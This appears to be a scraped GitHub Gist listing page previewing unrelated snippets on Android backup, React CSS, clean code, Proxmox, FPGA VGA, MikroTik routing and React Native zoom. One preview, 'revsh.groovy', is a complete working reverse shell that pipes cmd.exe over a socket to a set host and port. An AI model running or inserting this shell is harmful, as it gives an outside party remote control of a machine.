Navigation Menu

Skip to content

Instantly share code, notes, and snippets.

@AnatomicJC
AnatomicJC / android-backup-apk-and-datas.md
Last active April 23, 2024 08:02
Backup android app, data included, no root needed, with adb

Backup android app, data included, no root needed, with adb

Note: This gist may be outdated, thanks to all contributors in comments.

adb is the Android CLI tool with which you can interact with your android device, from your PC

You must enable developer mode (tap 7 times on the build version in parameters) and install adb on your PC.

Don't hesitate to read comments, there is useful tips, thanks guys for this !

@adrianhajdin
adrianhajdin / App.css
Last active April 23, 2024 08:01
Build and Deploy a React Admin Dashboard App With Theming, Tables, Charts, Calendar, Kanban and More
@import url('https://cdn.syncfusion.com/ej2/material.css');
.sidebar {
box-shadow: rgb(113 122 131 / 11%) 0px 7px 30px 0px;
}
.nav-item,
.navbar {
z-index: 10000;
}
@media screen and (max-width:800px) {
@wojteklu
wojteklu / clean_code.md
Last active April 23, 2024 08:00
Summary of 'Clean code' by Robert C. Martin

Code is clean if it can be understood easily – by everyone on the team. Clean code can be read and enhanced by a developer other than its original author. With understandability comes readability, changeability, extensibility and maintainability.


General rules

  1. Follow standard conventions.
  2. Keep it simple stupid. Simpler is always better. Reduce complexity as much as possible.
  3. Boy scout rule. Leave the campground cleaner than you found it.
  4. Always find root cause. Always look for the root cause of a problem.

Design rules

Mount Volumes into Proxmox VMs with Virtio-fs

Part of collection: Hyper-converged Homelab with Proxmox

Virtio-fs is a shared file system that lets virtual machines access a directory tree on the host. Unlike existing approaches, it is designed to offer local file system semantics and performance. The new virtiofsd-rs Rust daemon Proxmox 8 uses, is receiving the most attention for new feature development.

Performance is very good (while testing, almost the same as on the Proxmox host)

VM Migration is not possible yet, but it's being worked on!

@hinzundcode
hinzundcode / README
Last active April 23, 2024 07:59
fomu litex vga
user_1 is R, G and B (VGA pins 1, 2 and 3)
user_2 is Ground
user_3 is HSYNC (VGA pin 13)
user_4 is VSYNC (VGA pin 15)
$ python workshop_vga.py --board pvt && dfu-util -D build/gateware/top.dfu
$ wishbone-tool 0x60003000 150
csr_register,gpu_x0,0x60003000,2,rw
csr_register,gpu_x1,0x60003008,2,rw
@frohoff
frohoff / revsh.groovy
Created March 2, 2016 18:55
Pure Groovy/Java Reverse Shell
String host="localhost";
int port=8044;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
18 ;;; 7/0 goes to WAN1
chain=prerouting action=mark-connection new-connection-mark=WAN1_conn passthrough=yes
dst-address-type=!local in-interface=LAN1 connection-mark=no-mark
per-connection-classifier=both-addresses-and-ports:7/0
19 ;;; 7/1 goes to WAN2
chain=prerouting action=mark-connection new-connection-mark=WAN2_conn passthrough=yes
dst-address-type=!local in-interface=LAN1 connection-mark=no-mark
per-connection-classifier=both-addresses-and-ports:7/1
@tiernano
tiernano / gist:8217968
Created January 2, 2014 11:35
mikrotik script for sending from a particular address list to a particular WAN link
9 ;;; WAN1 address list -> WAN1
chain=prerouting action=mark-routing new-routing-mark=to_WAN1 passthrough=no
dst-address=!192.168.0.0/16 dst-address-list=WAN1
10 ;;; WAN2 address list -> WAN2
chain=prerouting action=mark-routing new-routing-mark=to_WAN2 passthrough=no
dst-address=!192.168.0.0/16 dst-address-list=WAN2
11 ;;; WAN3 address list -> WAN3
chain=prerouting action=mark-routing new-routing-mark=to_WAN3 passthrough=no
@Glazzes
Glazzes / App.tsx
Last active April 23, 2024 07:51
React Native pinch to zoom advanced
/**
* After some thoughts on this topic, I've decided to turn this gist along with other features into a library so you can zoom
* whatever you want.
*
* @author Santiago Zapata, Glazzes at Github <3
* @description This gist makes part of an article I'm writing about this topic (in spanish). This solution takes into account
* the linear algebra concepts and geometrical interpretation of the transform-origin property specification, this solution
* takes heavy inspiration from William's Candillon +3 year old video in this topic, however this solution brings it to the
* modern day along with a huge fix that prevents the origin from being displaced by an incorrect offset calculation after
* the first zoom interaction.